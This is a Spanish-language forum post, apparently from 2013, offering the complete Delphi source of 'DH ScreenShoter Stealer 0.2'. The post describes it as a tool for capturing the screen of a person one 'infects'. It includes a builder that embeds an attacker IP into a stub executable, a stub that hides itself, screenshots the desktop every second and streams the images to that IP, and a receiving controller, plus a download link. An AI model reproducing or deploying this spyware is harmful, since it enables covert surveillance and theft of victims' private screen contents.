[Delphi] DH ScreenShoter Stealer 0.2

Un simple programa para capturar el escritorio cada 1 segundo de la persona a la que infectes con este programa.

Una imagen.

Los codigos.

El generador.

Código

// DH ScreenShoter Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion
 
unit screen;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, ScktComp, Jpeg, sSkinManager, ComCtrls,
  sPageControl, sStatusBar, sGroupBox, sButton, sRadioButton, acPNG, sLabel,
  sEdit;
 
type
  TForm1 = class(TForm)
    ServerSocket1: TServerSocket;
    ServerSocket2: TServerSocket;
    Timer1: TTimer;
    Timer2: TTimer;
    sSkinManager1: TsSkinManager;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sTabSheet2: TsTabSheet;
    sTabSheet3: TsTabSheet;
    sTabSheet4: TsTabSheet;
    sStatusBar1: TsStatusBar;
    sGroupBox1: TsGroupBox;
    Image1: TImage;
    sGroupBox2: TsGroupBox;
    sGroupBox3: TsGroupBox;
    sGroupBox4: TsGroupBox;
    sRadioButton1: TsRadioButton;
    sRadioButton2: TsRadioButton;
    sGroupBox5: TsGroupBox;
    sButton1: TsButton;
    Image2: TImage;
    sLabel1: TsLabel;
    sGroupBox6: TsGroupBox;
    sEdit1: TsEdit;
    sButton2: TsButton;
    sGroupBox7: TsGroupBox;
    sButton3: TsButton;
    Image3: TImage;
 
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ServerSocket2ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
    conexion: TFileStream;
    control: integer;
 
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
  cantidad: string;
 
implementation
 
uses fullscreen;
{$R *.dfm}
// Functions
 
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;
 
begin
 
  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;
 
  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;
 
  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;
 
end;
 
procedure achicar(archivo, medir1, medir2: string);
 
// Credits  :
// Based on : http://www.delphidabbler.com/tips/99
// Thanks to www.delphidabbler.com
 
var
  bit3: Double;
  bit2: TJpegImage;
  bit1: TBitmap;
 
begin
 
  try
    begin
 
      bit2 := TJpegImage.Create;
 
      bit2.Loadfromfile(archivo);
 
      if bit2.Height > bit2.Width then
      begin
        bit3 := StrToInt(medir1) / bit2.Height
      end
      else
      begin
        bit3 := StrToInt(medir2) / bit2.Width;
      end;
 
      bit1 := TBitmap.Create;
 
      bit1.Width := Round(bit2.Width * bit3);
      bit1.Height := Round(bit2.Height * bit3);
      bit1.Canvas.StretchDraw(bit1.Canvas.Cliprect, bit2);
 
      bit2.Assign(bit1);
 
      bit2.SaveToFile(archivo);
 
    end;
  except
    //
  end;
 
end;
//
 
procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'garnet';
  sSkinManager1.Active := True;
end;
 
procedure TForm1.sButton1Click(Sender: TObject);
begin
  try
    begin
      ServerSocket1.Open;
 
      sStatusBar1.Panels[0].Text := '[+] Online';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;
    end;
  end;
 
end;
 
procedure TForm1.sButton2Click(Sender: TObject);
begin
  try
    begin
      ServerSocket1.Close;
      sStatusBar1.Panels[0].Text := '[+] OffLine';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;
    end;
  end;
end;
 
procedure TForm1.sButton3Click(Sender: TObject);
var
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  stubgenerado: string;
  lineafinal: string;
  linea: string;
begin
 
  aca := INVALID_HANDLE_VALUE;
  nose := 0;
 
  stubgenerado := 'stealer_ready.exe';
 
  linea := '[ip]' + sEdit1.Text + '[ip]';
  lineafinal := '[63686175]' + dhencode(linea, 'encode') + '[63686175]';
 
  DeleteFile(stubgenerado);
  CopyFile(PChar(ExtractFilePath(Application.ExeName)
        + '/' + 'Data/servernow.exe'), PChar
      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);
 
  StrCopy(code, PChar(lineafinal));
  aca := CreateFile(PChar('stealer_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ,
    nil, OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;
 
  sStatusBar1.Panels[0].Text := '[+] Done';
  Form1.sStatusBar1.Update;
 
end;
 
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  contenido: string;
 
begin
 
  contenido := Socket.ReceiveText;
 
  if (Pos('0x3archivo', contenido) > 0) then
  begin
    conexion := TFileStream.Create(Copy(contenido, 11, length(contenido)),
      fmCREATE or fmOPENWRITE and fmsharedenywrite);
 
    ServerSocket2.Open;
 
  end
  else
  begin
    if (Pos('0x3acantid', contenido) > 0) then
    begin
      cantidad := Copy(contenido, 11, length(contenido));
    end;
  end;
end;
 
procedure TForm1.ServerSocket2ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  data: array [0 .. 9999] of Char;
  otracantidad: integer;
 
begin
 
  Timer1.Enabled := True;
 
  while Socket.ReceiveLength > 0 do
 
  begin
 
    otracantidad := Socket.ReceiveBuf(data, Sizeof(data));
 
    if otracantidad <= 0 then
    begin
      Break;
    end
    else
    begin
      conexion.Write(data, otracantidad);
    end;
 
    if conexion.Size >= StrToInt(cantidad) then
 
    begin
 
      conexion.Free;
 
      Timer1.Enabled := False;
 
      control := 0;
 
      Break;
 
    end;
  end;
end;
 
procedure TForm1.Timer1Timer(Sender: TObject);
begin
  control := 1;
end;
 
procedure TForm1.Timer2Timer(Sender: TObject);
begin
 
  try
    begin
      if ServerSocket1.Active = True then
      begin
        if FileExists('screen.jpg') then
        begin
 
          if (sRadioButton1.Checked) then
          begin
            achicar('screen.jpg', '400', '400');
            Image1.Picture.Loadfromfile('screen.jpg');
          end
          else
          begin
            Form2.Show;
            achicar('screen.jpg', '1000', '1000');
            Form2.Image1.Picture.Loadfromfile('screen.jpg');
          end;
        end;
      end;
    end;
  except
    //
  end;
end;
 
end.
 
// The End ?

El servidor.

Código

// DH ScreenShoter Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion
 
unit server;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, StdCtrls, ExtCtrls, Jpeg;
 
type
  TForm1 = class(TForm)
    ClientSocket1: TClientSocket;
    ClientSocket2: TClientSocket;
    Timer1: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
  target: string;
 
implementation
 
{$R *.dfm}
// Functions
 
function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;
 
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;
 
begin
 
  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;
 
  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;
 
  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;
 
end;
 
procedure capturar(nombre: string);
var
  imagen2: TJpegImage;
  imagen1: TBitmap;
  aca: HDC;
 
begin
 
  aca := GetWindowDC(GetDesktopWindow);
 
  imagen1 := TBitmap.Create;
  imagen1.PixelFormat := pf24bit;
  imagen1.Height := Screen.Height;
  imagen1.Width := Screen.Width;
 
  BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0, 0,
    SRCCOPY);
 
  imagen2 := TJpegImage.Create;
  imagen2.Assign(imagen1);
  imagen2.CompressionQuality := 60;
  imagen2.SaveToFile(nombre);
 
end;
 
 
//
 
procedure TForm1.FormCreate(Sender: TObject);
 
var
  ob: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  todo: string;
 
begin
 
  Application.ShowMainForm := False;
 
  ob := INVALID_HANDLE_VALUE;
  code := '';
 
  ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (ob <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(ob, -9999, nil, FILE_END);
    ReadFile(ob, code, 9999, nose, nil);
    CloseHandle(ob);
  end;
 
  todo := regex(code, '[63686175]', '[63686175]');
  todo := dhencode(todo, 'decode');
 
  target := regex(todo, '[ip]', '[ip]');
 
  try
    begin
      ClientSocket1.Address := target;
      ClientSocket1.Open;
    end;
  except
    //
  end;
 
end;
 
procedure TForm1.Timer1Timer(Sender: TObject);
var
  archivo: string;
  envio: TFileStream;
  dir: string;
 
begin
 
  try
    begin
 
      if ClientSocket1.Active = True then
 
      begin
        dir := GetEnvironmentVariable('USERPROFILE') + '\';
 
        chdir(dir);
 
        if (FileExists('screen.jpg')) then
        begin
          DeleteFile('screen.jpg');
        end;
 
        capturar('screen.jpg');
 
        archivo := dir + 'screen.jpg';
 
        try
          begin
            ClientSocket1.Socket.SendText
              ('0x3archivo' + ExtractFileName(archivo));
            envio := TFileStream.Create(archivo, fmopenread);
 
            sleep(500);
 
            ClientSocket1.Socket.SendText('0x3acantid' + IntToStr(envio.Size));
 
            envio.Free;
 
            ClientSocket2.Address := target;
            ClientSocket2.Open;
 
            ClientSocket2.Socket.SendStream
              (TFileStream.Create(archivo, fmopenread));
          end;
        except
          //
        end;
      end;
    end;
  except
    //
  end;
 
end;
 
end.
 
// The End ?

Si lo quieren bajar lo pueden hacer de aca.